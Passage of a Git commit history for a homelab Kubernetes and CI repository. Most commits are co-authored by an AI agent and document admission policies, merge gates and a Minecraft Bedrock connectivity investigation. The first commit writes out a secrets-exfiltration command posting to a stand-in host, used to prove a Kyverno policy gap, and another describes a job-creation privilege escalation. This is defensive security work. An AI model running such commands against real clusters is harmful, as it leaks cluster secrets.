b1c99e51bbcad70babda748f63f558c45831eda3
744
Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
  jakman85andClaude Opus 5
|
b1c99e51bb |
feat(conformance): the in-cluster Job can now run a named commit and get its results out
`conformance/incluster/chainsaw-job.yaml` was a skeleton: `workspace` was an empty
`emptyDir` with nothing to populate it, so the Job could never have run the suite at
all. Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.
The whole shape is dictated by a fail-closed Enforce policy
(platform/kyverno/admission/conformance-trigger-job-shape.yaml) that admits only
`workspace` and `results` as volume names. So:
* the read-only Gitea credential arrives as env from `secretKeyRef` on Secret
`conformance-git-readonly` -- by NAME only, no literal in the tree -- and reaches
`git` via an inline credential.helper that reads the environment, so the token is
never in argv and never on disk;
* `$TMPDIR` and `$HOME` are directories ON the `workspace` emptyDir, which keeps
`readOnlyRootFilesystem: true` without a third volume and without subPath mounts
(a kubelet-created subPath dir is root-owned 0755 and unwritable by the runner);
* `results` cannot be mounted at `conformance/_artifacts` -- that path is inside the
clone target and `git clone` refuses a non-empty target -- hence the new
`CONF_ARTIFACTS` override, honoured only when set.
The init container shallow-clones, fetches the exact commit if the shallow tip lacks
it, detaches onto it, and ASSERTS `HEAD` equals the requested SHA. The SHA must match
^[0-9a-f]{40}$, so an unrendered placeholder is a hard failure rather than a silent run
of whatever the branch tip was.
Results leave over stdout because the trigger identity has no pods/exec and admission
pins `command` to exactly ["./run.sh"], so nothing can wrap the suite. `run.sh` emits
them on an EXIT trap -- a failed run still ships its red JUnit -- between markers
carrying bytes, base64 line count and sha256 TWICE:
=== ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=.. bytes=.. lines=.. sha256=.. ===
`kubectl logs` is lossy and base64 decodes a truncated stream to plausible garbage, so
a collector that makes the five documented checks cannot mistake a partial log for a
complete artifact set. Verified locally: full decode round-trips; head-truncation,
tail-truncation, a dropped interior line and one corrupted character are each detected;
exit codes 0, an explicit 3 and a `set -e` abort all survive the trap with a matching
`rc=` in the envelope.
Admission proven with the pinned CLI rather than assumed -- `kyverno apply` on the
rendered template gives `pass: 3, fail: 0`, and negative controls on the SAME template
(a third volume; `command` wrapped in `/bin/sh -c`) each fail the expected rule. The
shape is now a `real-template` fixture so drift out of admission fails `make -C ci l0`.
FINDING, NOT FIXED HERE: that policy never reads `initContainers`. Measured -- the same
rendered template with only the init container's args replaced by
`kubectl get secrets -A | curl -X POST ... http://evil.invalid/` is ADMITTED (pass 3,
fail 0). The escalation the policy exists to stop is still reachable one field over, and
was before this Job had an init container. A security boundary changes in its own
reviewed PR, so it is documented in the manifest header and in
decisions/2026-09-29-conformance-job-template.md with the recommended 4th rule, not patched in beside the Job that must satisfy it.
UNVERIFIED: nothing here has executed. The `conformance-runner` image does not exist
(plan §3 item 1) and Secret `conformance-git-readonly` does not exist (item 6), so the
clone, the credential helper and the log transport are unexercised against a cluster.
`ci/conformance.sh` is untouched -- CI behaviour is unchanged by this branch.
Gate (toolbox, DEV_KUBECONFIG=/dev/null + .git bind-mount shim): lint/l0/render-golden/l1
green; spec-immutability, gitea-settings and conformance SKIPPED; MERGE GATE
UNDETERMINED, rc 3. Nothing FAILED.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|
||
|
jakman85
|
c59fe9f923 |
Merge pull request 'chore(log): the handoff log was serialising every parallel branch' (#24) from chore/decisions-log-conflict-free into main
Reviewed-on: #24 Reviewed-by: Keith Jackson <[email protected]> |
||
|
jakman85andClaude Opus 5
|
72a46ad82d |
chore(log): the handoff log was serialising every parallel branch
DECISIONS-LOG.md was append-only in ONE file and every agent appended to its
tail, so any two concurrent branches collided on the same last hunk. Measured
against the live Gitea today: four of the five open PRs were mergeable=false,
and `git merge-tree` named DECISIONS-LOG.md as the ONLY conflicting path in
all four.
#22 fix/crafty-oauth2-proxy-signin CONFLICT: DECISIONS-LOG.md
#20 feat/conformance-job-template CONFLICT: DECISIONS-LOG.md
#19 feat/conformance-trigger-kubeconfig CONFLICT: DECISIONS-LOG.md
#18 feat/conformance-runner-image CONFLICT: DECISIONS-LOG.md
#17 feat/ci-is-the-approver clean — it wrote no handoff
Nothing was wrong with any of those changes. The log's storage format
serialised work that was otherwise parallel, and the cost grew with every
concurrent branch (N branches -> N-1 rebases, each invalidating the gate run
before it). The agents work in isolated worktrees precisely so they do not
block each other; this one file undid that.
So: stop sharing a file. Handoffs are now one-per-file under decisions/,
named YYYY-MM-DD-<slug>.md. Disjoint paths have nothing to merge. There is
deliberately no index file (a shared mutable file is the thing that just
failed) and no counter (two agents would race for the same number) — the
directory listing is the index.
DECISIONS-LOG.md is frozen as the pre-2026-09-29 archive, its SHA-256 pinned
in decisions/ARCHIVE.sha256, and a new gate stage rejects any change to it.
That is a guard and not a paragraph because the old habit is written into the
runbooks and into every agent that has read the log, and getting it wrong does
not fail: it produces a clean-looking commit that re-creates the conflict on
OTHER branches, later, misattributed.
ci/decisions-log.sh new stage: archive pinned; every entry named with
a real date, carrying date/branch/title frontmatter
that agrees with its filename, and all three of
CLAUDE.md §7's sections with a real body under each.
Exit 0 or 1 only — no skip path by construction, so
no fail-open surface on a guard that closes one.
ci/gate.sh runs it; fail and (impossible) skip both BLOCK.
No REQUIRE_DECISIONS_LOG knob: a guard with an off
switch is not a guard.
ci/tests/decisions-log.test.sh 22 assertions, incl. the one that matters —
an append to the archive is rejected, and the
message names the file to write instead.
ci/tests/gate-decision.test.sh +3 assertions for the new wiring, AND a
pre-existing bug: the stub list never included
gitea-settings, so run_stage saw exit 127 and
recorded a FAILED stage in every case. 15 of 47
assertions failed on main for that reason alone —
the suite was measuring its own missing stub.
Now 50/50.
CLAUDE.md §7 rewritten; §2b widened to the new path.
ci/Makefile, ci/README.md, .gitea/workflows/README.md — stage named where
the other stages are named.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|
||
|
jakman85
|
cadf64a514 |
Merge pull request 'docs(ci): the wiring comment named a secret Gitea cannot accept' (#21) from fix/gitea-settings-comment-names-impossible-secret into main
Reviewed-on: #21 Reviewed-by: Keith Jackson <[email protected]> |
||
|
jakman85
|
cfbc596b8b |
Merge pull request 'docs(crafty): Bedrock on 19132 RESOLVED — a player has joined; the wall was an empty allowlist' (#23) from fix/crafty-bedrock-19132 into main
Reviewed-on: #23 Reviewed-by: Keith Jackson <[email protected]> |
||
|
jakman85andClaude Opus 5
|
c59a4b76bb |
docs(crafty): a player has joined -- the allowlist chain is closed, recommendation now PROVEN
Operator added one gamertag and the Bedrock client connected and joined. The three-pass investigation closes with a working server, no manifest change, no transport change, no network change. Moved out of UNVERIFIED: * A successful join -- OPERATOR-REPORTED (I did not watch it; the distinction is kept deliberately). Corroborated directly on disk, which is stronger than the report alone: allowlist.json went [] -> one entry, 75 bytes, and that entry's xuid is POPULATED (mtime 22:03:17). audit.log shows the operator wrote only the name (Edited file .../allowlist.json, 22:02:13). Vendor doc: xuid "will be populated when someone with a matching name connects". So the server wrote the XUID on connect, ~64s after the edit -- server-authored evidence of an XBL-authenticated join. * The reasoned mapping of "You are not invited" to the empty allowlist is CONFIRMED: one gamertag added, one successful join. allow-list=true with allowlist.json == [] was the wall, and nothing else was. * transport=raknet survives a restart: the fix involved one (pid 47006 -> 47875); afterwards server.properties mtime is still 21:33:31 with transport=raknet, UDP 4ABC bound, still NO TCP 4ABC, and a fresh pong from 192.168.2.22:19132 at 22:06. * The operator's actual route was file-edit + restart (route 2), not the console `allowlist add` I listed first. Both proven; console still preferred (no restart). README: join-gate section marked RESOLVED; decision heading and option 1 promoted from provisional to PROVEN; Bedrock human-test 4 rewritten as a 5-step verified connect procedure, each step with its distinct failure signature, stating plainly that the TRANSPORT TYPE ERROR banner and the "too few fields" warning BOTH appear on a fully working server -- that pair misled two consecutive sessions. NOT weakened, and sharpened where possible: * auto_start=0 / crash_detection=0 STILL 0, re-measured at 22:06 after the join and after the operator's 22:02:28 "modified the server" action, which did not change them. The failure mode is now worse, not better: "worked, then vanished". Merging fix/crafty-oauth2-proxy-signin is such a restart. * Silent-reset now precisely characterised: a RESTART preserves both files (observed) but leaves the server down (auto_start=0); a server RECREATE or reinstall silently resets server.properties to transport=nethernet AND allowlist.json to []. * L2/L3 conformance still uncertified; multi-player SNAT still untested (exactly one player has joined -- that is precisely the evidence that does not settle it); BDS console output still never seen (log_path is ''). No manifest touched, in any of the three passes. Read-only throughout. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85andClaude Opus 5
|
cd2617e5b3 |
docs(crafty): "You are not invited" is an empty allowlist -- and it proves RakNet works
New operator observation: a Bedrock client got "Unable to connect / You are not invited to play on this server". That was put to me as evidence that NetherNet signalling is working, that the refusal may have come from Microsoft rather than our server, and that BDS players therefore never traverse crafty-l4-udp. Measured read-only at 21:56, all three are wrong. allow-list=true (server.properties line 37) allowlist.json == [] (3 bytes, mtime 20:51, never edited since create) online-mode=true transport=raknet (line 71; file mtime STILL 21:33:31) UDP 19132 bound (/proc/net/udp 00000000:4ABC, pid 47006) TCP 19132 ABSENT (no 4ABC in /proc/net/tcp or tcp6) bedrock_server pid 47006, same process since 21:34, never restarted 1. transport is still raknet -- nobody reverted it, the binary did not rewrite it (mtime unchanged, audit.log records no later edit, same pid). NetherNet is NOT in use and cannot be what served this client. 2. NetherNet could not have served it in principle: it signals over TCP on server-port, and there is no TCP 19132 listener in the pod at all. 3. So the refusal came from OUR server, over RakNet, over 19132/udp, through the VIP. The 19132-19134/UDP exposure is the opposite of inert -- it carried both the earlier pong and this refusal. 4. Cause is certain and trivial: allow-list=true with an empty allowlist.json refuses every player. The shipped how_to says so, and it keys on Xbox Gamertag. The requested log correlation cannot be done from disk: K3s-Bedrock's log_path in crafty.sqlite is the empty string and Dedicated_Server.txt is 0 bytes -- Crafty persists no BDS stdout at all, the console is panel-UI-only. commander.log 21:39-21:56 holds only homelab crash-detection and raknet_ping lines. That silence is evidence about Crafty's logging, not about the refusal's origin. Adds a README section on the join authorization model: the measured table, the proof the refusal is ours, the "console is not on disk" caveat, gamertag/XUID identity, and three operator routes (console `allowlist add`, edit-then-`allowlist reload`, or allow-list=false -- discouraged, since the game port is deliberately un-gated so the allowlist is the only join control). Notes allowlist.json is PVC state that resets to [] on a server recreate. Options table and human test 4 now check the allowlist before blaming the network. Ranking unchanged at the top: keep transport=raknet, add gamertags. Still zero manifest change. NetherNet would ADD work (TCP 19132 in crafty-l4-tcp and in crafty-allow-ingress, plus server-udp-ports) and admit not one extra player. Read-only throughout: allowlist.json, server.properties and the DB were read; no console command issued, no kubectl mutation, no flux reconcile. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85andClaude Opus 5
|
8697702d51 |
docs(decisions-log): record the gate result -- rc 3, and why CI's green is not rc 0
The handoff entry asserted conclusions but did not carry its own gate numbers. Adds them, per CLAUDE.md section 7: lint / l0 / render-golden / l1 / spec-immutability : green gitea-settings : SKIPPED (SETTINGS_API_TOKEN unset) conformance L2/L3: SKIPPED (CLUSTER_AVAILABLE != true) => exit 3, UNDETERMINED. Not a PASS. Also records two things future sessions will otherwise re-learn the hard way: 1. spec-immutability skipped SPURIOUSLY from the worktree -- dev.sh looks for the spec repo at $REPO_ROOT/../home-network-k3s, which from a worktree is the wrong directory; it exists beside the MAIN checkout. Mounting it RO through the ENGINE shim turned the one tolerated skip into a real green, so R-TEST-06 is genuinely verified. The CLAUDE.md section 3 shim should mount two paths, not one. 2. CI's green tick does NOT mean rc 0. gate/conformance is `if: false` and reports success with "Has been skipped"; gate/gate runs `./ci/gate.sh || [ "$?" -eq 3 ]`, so CI tolerates exit 3 by declared design and would report the same green for the rc 3 above. Branch protection and the runner were measured against the API, not assumed: protected=true, user_can_push=false, required_approvals=1, context 'gate / gate (pull_request)', runner incluster-dind online. PR #23 left unmerged. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85andClaude Opus 5
|
d29a73cad8 |
docs(crafty): 19132/udp IS bound and answering -- the ERROR banner was advisory
The prior entry's operator fix (transport=raknet) was labelled REASONED, NOT
OBSERVED. The operator applied it, BDS 1.26.52 printed
"================ TRANSPORT TYPE ERROR ===================
NetherNet is the only supported transport type", and that was read as a refusal.
It was not a refusal. The process kept running and bound the RakNet sockets:
/proc/net/udp 00000000:4ABC and /proc/net/udp6 ...:4ABD, both owned by
bedrock_server pid 47006 (fd/25, fd/26). The earlier TCP bind on 4ABC is gone.
Crafty's raknet_ping warning changed kind at 21:34 -- last "Got timeout"
21:34:04,306, first "too few fields" 21:34:09,854 -- and per raknet_ping.py the
latter is reachable only after a 0x1C Unconnected Pong arrives with valid magic.
Proven end-to-end from off-cluster: a RakNet Unconnected Ping to the prod VIP
192.168.2.22:19132 returns a 139-byte 0x1c pong in ~12ms:
MCPE;Dedicated Server;2193;1.26.52;0;10;...;Bedrock level;Survival;1;19132;19133;0;0;0;
The vendor's own shipped bedrock_server_how_to.html documents raknet as a
supported value ("the server listens directly on server-port"), and RakNet is
still compiled in (RakNetConnector, createUniqueRakPeer, RakNetSocket2.cpp).
"Only supported transport type" is a support statement, not a capability one.
Also explains why nethernet could never have worked here: it signals over TCP on
server-port, and this repo exposes no TCP 19132 -- crafty-l4-tcp is 25565-25567
and crafty-allow-ingress allows 19132 UDP only. packet-statistics.txt for that
run: Total Received: 0, 0B over 2293s.
Decision: keep transport=raknet, NO manifest change. The 19132-19134/UDP
exposure is correct and live, not inert. Geyser+Floodgate documented as the
reserve migration if RakNet is ever really removed (also zero manifest change).
Other corrections: the "too few fields" warning is the success signature, not a
failure; enable-lan-visibility upgraded to OBSERVED (19133 answers with the same
server_guid, so slot 1 is NOT free -- previous text said it was unreachable);
Game VIP corrected from 192.168.1.55 (the base/dev value) to the live prod
192.168.2.22; noted transport=raknet is PVC state that silently regresses to
nethernet on a server recreate. K3s-Bedrock auto_start=0/crash_detection=0
re-confirmed from crafty.sqlite and still outstanding.
Read-only throughout: no kubectl mutation, no flux reconcile, no write inside
the container. server.properties was read, never touched.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|
||
|
jakman85andClaude Opus 5
|
07f03536b3 |
docs(crafty): Bedrock 19132 refuses nothing -- BDS ships transport=nethernet
Reported as "users cannot connect to Bedrock on UDP 19132". Measured read-only on prod; the platform delivered the packets and the server never opened the socket. Server `K3s-Bedrock` (c5837301-..., type=minecraft-bedrock, server_port=19132) exists and `./bedrock_server` is alive, but /proc/net/udp and /proc/net/udp6 in the crafty container hold NO socket on 19132 (0x4ABC) in either family -- port 19132 is bound as TCP (/proc/net/tcp6 ...:4ABC state 0A). Cause, from the server's own server.properties: transport=nethernet, the value Microsoft's BDS archive ships. Its inline docs: `Allowed values: "raknet" or "nethernet"`, and against server-portv6, `This property is ignored when transport=nethernet`. NetherNet is the WebRTC/Xbox-signalled transport and opens no RakNet UDP listener. Crafty does not manage the property (no `transport` anywhere under /crafty/app/classes/) and its only Bedrock probe is raknet_ping.py, hence commander.log spamming "Got timeout while issuing bedrock ping to 127.0.0.1:19132" -- over loopback, which indicts the server, not the network. The path below it is sound and was measured as such: crafty-l4-udp live as externalTrafficPolicy: Cluster with the VIP in status.loadBalancer, a non-empty EndpointSlice, `cilium-dbg service list` showing 192.168.2.22:19132/UDP => 10.0.0.130:19132/UDP (active) on BOTH announcing nodes, the datapath policy map carrying `Allow Ingress reserved:world 19132/UDP` with 26 packets / 27660 bytes already counted through it, pihole answering crafty-mc -> 192.168.2.22, and Flux at main@sha1:20ea70d == the GitRepository artifact. So this is not a platform or manifest defect. No manifest is touched: adding ports or widening policy for this would be manufacturing work. The repo-side defect is documentation -- the README told the operator that creating a server on 19132 was sufficient. README: add "Bedrock on UDP 19132 -- the transport trap" (the measurement chain, and the raknet_ping warning as its signature) and "Bedrock realities that are NOT platform defects" (no LAN/Friends discovery behind a VIP, consoles cannot enter an address, enable-lan-visibility collides with slots 1-2, server-portv6 is not exposed). Correct three stale claims: "the operator has not created any servers yet" (two exist), the human test implying a started Bedrock server is reachable, and the single-server Runtime state section (now a two-row table recording K3s-Bedrock's auto_start=0 / crash_detection=0 -- the create-API trap, live again, so it will not survive a pod restart). Also measured, reported, and deliberately NOT changed: the shared VIP's two leases sit on different nodes (crafty-l4-tcp on k3s-prod-3, crafty-l4-udp on k3s-prod-1), so two nodes ARP-announce 192.168.2.22. Benign under `Cluster` -- both nodes carry the full active frontend set -- and the existing L0 check l2-announced-vips-serve-from-any-node already forbids the `Local` that would make it fatal. A "shared VIPs must co-locate" check would assert runtime lease placement a static check cannot see. Read-only throughout: no apply/edit/patch, no flux reconcile, no write inside the container. Operator actions (set transport=raknet and verify the UDP bind; PATCH auto_start; tell players to Add Server by hand) are in the DECISIONS-LOG entry, along with what is UNVERIFIED -- chiefly that `raknet` fixes it is reasoned from the shipped docs, not observed. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85andClaude Opus 5
|
e993d0f7d1 |
docs(ci): the wiring comment named a secret Gitea cannot accept
ci/gitea-settings.sh told the reader to "create a Gitea repo secret GITEA_SETTINGS_TOKEN". That instruction is IMPOSSIBLE to follow: Gitea reserves the GITEA_ prefix for secret names and rejects the PUT with HTTP 400 "invalid secret name". Same defect as the one fixed in PR #15 and in the README in PR #19 -- this was the third file carrying it, found by an agent reading the file rather than trusting my description of it. A comment that instructs an impossible action is not cosmetic: this exact wrong name is why the drift detector sat inert while a token existed and no secret did. Now names SETTINGS_API_TOKEN, and states explicitly that GITEA_SETTINGS_TOKEN remains honoured ONLY as a local-run env var -- it can never be the CI wiring, because the secret that would feed it cannot exist. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85
|
20ea70d221 |
Merge pull request 'fix(sec): the R-SEC-02 admission policy was never applied' (#16) from fix/kyverno-policy-was-never-applied into main
Reviewed-on: #16 Reviewed-by: Keith Jackson <[email protected]> |
||
|
jakman85andClaude Opus 5
|
8c7a770de2 |
fix(sec): the R-SEC-02 admission policy was never applied -- and nothing could tell
PR #13 added conformance-trigger-job-shape.yaml to platform/kyverno/admission/ kustomization.yaml. That file applies NOTHING. Its own sibling says so: "kept as reference; THIS file is the buildable render root" -- and that render root (platform/kyverno/kustomization.yaml) ships only the namespace and the HelmRelease, noting that ClusterPolicies are applied a tier later, by platform-config, because they need the Kyverno CRDs first. So three lists exist and only platform-config/kustomization.yaml applies anything. The policy went into the wrong one and EVERYTHING WENT GREEN: the file parsed, kyverno test exercised it by path and passed, the merge gate passed, and Flux reported `platform` Ready at the new revision. Measured on prod afterwards: kubectl get clusterpolicy conformance-trigger-job-shape Error from server (NotFound) while ns conformance, the conformance-trigger ServiceAccount, its Role and its RoleBinding were all live. That is exactly the state that identity's own RBAC header says must never exist -- the trigger identity present with nothing bounding it. Blast radius was small only because no trigger kubeconfig exists yet, which is luck, not design. Wires the policy into platform-config (verified: the render goes from 7 ClusterPolicies to 8 and contains conformance-trigger-job-shape). CLOSES THE CLASS, which matters more than the instance. Adds the L0 check admission-policies-actually-applied: every ClusterPolicy file under platform/kyverno/ is either referenced by platform-config/kustomization.yaml or named in a CI_ONLY list with a reason -- and CI_ONLY may not name a policy that IS applied, so the exemption cannot rot in either direction. Declared scope whole-repo deliberately: a policy wired nowhere touches no requirement the diff attributes, so a path-scoped run would have skipped it on the exact commit that introduced the defect. Proven both ways, not assumed: with the fix reverted -> FAIL, naming conformance-trigger-job-shape as never applied with the fix -> PASS, 9 policy files, 8 applied, 1 CI-only with a reason `kyverno test` proves a policy is CORRECT. This proves it is DEPLOYED. Nothing did before. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85
|
1c5974013e |
Merge pull request 'docs(decisions-log): end-of-session PM handoff' (#14) from docs/handoff-2026-09-29 into main
Reviewed-on: #14 Reviewed-by: Keith Jackson <[email protected]> |
||
|
jakman85
|
4791d4a43a |
Merge pull request 'feat(sec): constrain the conformance CI trigger at admission' (#13) from feat/conformance-trigger-admission-boundary into main
Reviewed-on: #13 Reviewed-by: Keith Jackson <[email protected]> |
||
|
jakman85
|
dfd608ac32 |
Merge pull request 'fix(ci): CLUSTER_AVAILABLE=true would have faked a green' (#12) from fix/cluster-available-would-fake-a-green into main
Reviewed-on: #12 Reviewed-by: Keith Jackson <[email protected]> |
||
|
jakman85
|
1d2d9d6549 |
Merge pull request 'fix(ci): the settings token could never have been stored' (#15) from fix/secret-name-and-require-gitea-settings into main
Reviewed-on: #15 Reviewed-by: Keith Jackson <[email protected]> |
||
|
jakman85andClaude Opus 5
|
4b31f97486 |
docs(decisions-log): addendum — detector armed, and why an agent cannot merge here
Records two findings from the unattended session. The drift detector was INERT: set-ci-token.sh stored the secret under a name Gitea reserves (GITEA_ prefix, HTTP 400 "invalid secret name"), sent the PUT to /dev/null, and printed success anyway. A token existed; no secret did. Enabling REQUIRE_GITEA_SETTINGS on top of that would have blocked every PR including its own fix. PR #15 fixes it and its CI is green WITH require active, which is the only proof that counts. And: merging as gitea-admin returns HTTP 405 "Does not have enough approvals". required_approvals:1 + block_admin_merge_override:true + an author who cannot self-approve means "merge on green CI" is not executable by an agent. Recorded as the control working rather than a fault, and deliberately not circumvented -- self-approval would hollow out the boundary just built. The choice of what to do about it is the operator s, and whatever is chosen must also change the declaration in expected-branch-protection.json or the detector will correctly fail on the drift. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85andClaude Opus 5
|
50a48e6f07 |
fix(ci): the settings token could NEVER have been stored -- Gitea reserves the GITEA_ prefix
The drift detector merged in #11 was inert and would have stayed inert silently. WHAT HAPPENED. infra/gitea/set-ci-token.sh minted a token and PUT it to the repo Actions secret GITEA_SETTINGS_TOKEN. Gitea RESERVES the `GITEA_` prefix for secret names -- exactly as GitHub reserves `GITHUB_` -- and rejects that PUT with: HTTP 400 {"message":"invalid secret name"} The script sent the PUT to /dev/null and printed "==> stored." unconditionally, and `curl -sS` exits 0 on an HTTP error, so it reported success for a store that never happened. Measured afterwards: the token existed in the user's token list, and the repo's secret list was EMPTY. ci/gitea-settings.sh would have skipped on every CI run forever, and with REQUIRE_GITEA_SETTINGS=true it would instead have BLOCKED EVERY PR -- including the one fixing it. Three changes: * the secret is SETTINGS_API_TOKEN; ci/gitea-settings.sh reads it, keeping GITEA_SETTINGS_TOKEN as a local-run fallback; * set-ci-token.sh checks the PUT's HTTP status AND reads the secret back, refusing to claim success otherwise. That missing verification is the actual defect -- the wrong name was just what it hid; * gate.yml maps the secret and ENABLES REQUIRE_GITEA_SETTINGS. WHY ENABLING IT HERE IS SAFE: this PR's own CI run is the proof. If the stage were still skipping, REQUIRE turns that into a failure and this PR goes RED rather than merging. Green means the token resolved and live Gitea matched infra/gitea/expected-branch-protection.json. Verified locally before pushing: REQUIRE=true, token present -> MERGE GATE: PASS REQUIRE=true, no token -> gitea-settings SKIPPED -> BLOCKED (not a silent skip) The secret is already stored and read back as present, so CI has what it needs. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85andClaude Opus 5
|
911ead5fbd |
docs(decisions-log): end-of-session PM handoff — six PRs open, and what a new machine needs
Written for a different session on a different computer. Lists the three open gated PRs with their risk, the one command that must follow #11 (the drift detector skips until its token exists, and a skipped detector detects nothing), and the three credentials that are deliberately NOT in git and without which the toolbox and cluster are unreachable: the age private key, prod.kubeconfig, and a Gitea credential. Records the measured platform state while telling the reader to re-measure it rather than trust this log -- which is the whole point of CLAUDE.md section 2b, and which this log earned by being confidently wrong for a month. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85andClaude Opus 5
|
8eb5baffa4 |
feat(sec): constrain the conformance CI trigger at admission (R-SEC-02)
Implements the credential model the operator chose for wiring L2/L3 into CI: a narrow
trigger SA bounded by a fail-closed Kyverno admission policy, rather than the
zero-credential GitOps-native alternative (plan section 4, primary model).
THE ESCALATION THIS CLOSES. Kubernetes places NO `use` check on a Job's
serviceAccountName. Any principal that can `create jobs` in ns conformance can create a Job
running as conformance-runner -- nodes/patch, pods/exec, namespaces/patch -- with an
arbitrary command. A CI token with plain `create jobs` IS that privileged identity no matter
how narrow its own Role looks. RBAC cannot fix this; only constraining the SHAPE of what the
trigger may create can.
Adds:
* SA/Role/RoleBinding conformance-trigger -- create+get+list+watch jobs, get pods and
pods/log, nothing else. Namespaced. No delete (a trigger that can delete can hide a
failed run), no exec, no secrets. Results come back as a tarball on stdout read via
pods/log, so no execution channel into the runner pod is ever granted.
* ClusterPolicy conformance-trigger-job-shape -- Enforce, failurePolicy: Fail. It does NOT
use ${KYVERNO_VALIDATION_ACTION}: a security boundary an overlay can downgrade to Audit
is not a boundary. It constrains ONLY conformance-trigger, so a mistake here cannot wedge
the rest of the cluster.
* Flux Kustomization `conformance` -> ./conformance/incluster, wait:false and non-gating
like apps-vms, so a test identity can never stall the platform or app tiers.
* A kyverno test with seven cases, six of them real escalation paths.
VERIFIED by `kyverno apply` (pass: 10, fail: 6, error: 0), not assumed:
evil-command DENIED at /spec/template/spec/containers/0/command/ <- THE attack
evil-image DENIED at .../image/
tag-not-digest DENIED at .../image/ (mutable tag is republishable)
host-namespaces DENIED at /spec/template/spec/hostPID/
extra-volume DENIED by the volumes foreach
injected-args DENIED by the args foreach
good-run ADMITTED
ALSO FIXES A FAIL-OPEN IN THE GATE ITSELF. `kyverno test` does NOT fail when a policy cannot
LOAD: every row becomes "Skip / Invalid Policy" and it still prints "N tests passed" and
exits 0. Measured while writing this policy -- a schema error (subjects in a separate
match.all entry from resources) produced exactly that, and ci/l0.sh would have certified a
security policy that does not load as green. This is not specific to this policy: a typo in
restrict-host-namespaces or secret-provenance would silently disable it with the gate still
green. ci/l0.sh now scans for "Invalid Policy" and fails. Proven: broken policy -> l0 rc=1,
restored -> rc=0.
IMAGE PINNING, HONEST LIMIT: the plan specifies pinning the exact runner image digest. That
image does not exist yet, so this enforces the enforceable half -- the image must be under
the conformance repository path AND digest-pinned, never a mutable tag. Residual surface:
anyone who can PUSH to that path could publish a different digest. Tighten to the literal
digest when the image is built; it is a one-line change to the pattern, reviewed in a PR,
which is where a change to a security boundary belongs.
NOT YET WIRED, deliberately: no runner image, no trigger kubeconfig, no CLUSTER_AVAILABLE.
The identities here are inert until those exist, and PR #12 makes CLUSTER_AVAILABLE=true
block rather than fake a green in the meantime.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|
||
|
jakman85
|
4634b44cc7 |
Merge pull request 'feat(ci): detect Gitea settings drift' (#11) from feat/gitea-settings-drift-check into main
Reviewed-on: #11 Reviewed-by: Keith Jackson <[email protected]> |
||
|
jakman85andClaude Opus 5
|
6586919132 |
fix(ci): CLUSTER_AVAILABLE=true would have FAKED A GREEN over 54 skipped tests
Wiring L2/L3 into CI was a tracked next step, described in the plan as needing only
vars.CLUSTER_AVAILABLE. Attempting it surfaced that the variable does not enable L2/L3 at
all -- it only changes which way the stage fails, and before this commit one of those ways
was a false pass.
MEASURED, before the guard:
CLUSTER_AVAILABLE=true ./ci/conformance.sh -> rc=0
"[junit] wrote skipped JUnit for 54 scaffolded test(s)"
"[ ok ] L2/L3 conformance passed for touched subset"
run.sh exits 0 in scaffold mode when it cannot reach a cluster, marking every test
<skipped>. That is correct and honest FOR run.sh. It is catastrophic in ci/conformance.sh,
which reaches that code only because the environment DECLARED a cluster available -- so it
reported a pass over 54 tests that never executed. One Gitea variable away from a fake green
on a gate that is now an ENFORCING required status check, and nothing caught it because
nobody had ever set the variable.
The CI runner holds no cluster credential by design (automountServiceAccountToken: false),
so the local run this stage attempts can never succeed. The in-cluster trigger path that
would make L2/L3 actually run is still unimplemented, and is blocked on a privilege-
escalation design decision that is the operator's to make (plan section 4: any principal
that can `create jobs` in ns conformance can run arbitrary code as the privileged
conformance-runner SA, because Kubernetes places no `use` check on serviceAccountName).
The stage now BLOCKS (exit 1) when a cluster is declared but every test skipped, which is
what the merge-gate decision matrix already said should happen ("conformance skipped while
CLUSTER_AVAILABLE=true -> BLOCK"). Verified: rc=1, naming the count and the reason.
The plan document claimed CLUSTER_AVAILABLE was "the only remaining gate". Corrected in
place with the measurement and an explicit do-not-set-this-yet.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|
||
|
jakman85andClaude Opus 5
|
e6f6e4febb |
feat(ci): detect Gitea settings drift -- the blind spot that hid a month of outage
Every check in this repo reads the repository, the rendered manifests, or the cluster.
NONE could see Gitea's own database, and that is where branch protection and runner
registration live. Three failures came out of that blind spot on 2026-09-29, all the same
shape -- a setting that READ as enforced while not being, with nothing able to notice:
* main had NO branch protection for ~a month while DECISIONS-LOG recorded it as a
required status check;
* ZERO Actions runners were registered, so PR #1 -- the first PR this repo ever had --
sat pending for 30.6 minutes with nothing to execute it;
* after enable_status_check and required_approvals were turned on they STILL did not
bite, because block_admin_merge_override was false: PRs #5-#9 merged with zero
approvals recorded against required_approvals: 1.
infra/gitea/*.sh ASSERT the desired state. Nothing DETECTED drift from it. This is the
detector.
ci/gitea-settings.sh runs as a merge-gate stage: it diffs the live rule at
/branch_protections/main against infra/gitea/expected-branch-protection.json and asserts at
least one runner is online. It reads the RULE object, not /branches/main -- the branch view
does not expose block_admin_merge_override and showed all-green while the rule was
overridable by the only account that merges.
Verified by test, not assumed:
no token -> exit 3, skips loudly, does NOT block
live == declaration -> exit 0
injected drift -> exit 1, blocks, naming both the drifted key and the runner count
The skip is DELIBERATELY not in gate.sh's strict-skips loop. Making an absent credential
block every PR is precisely the lock-yourself-out failure this repo keeps walking into, so
a skip denies a PASS (exit 3) and says loudly what is unverified. REQUIRE_GITEA_SETTINGS=true
upgrades it to a block once the token is wired.
gate.yml's `|| [ "$?" -eq 3 ]` tolerance now covers a second stage. That widening is
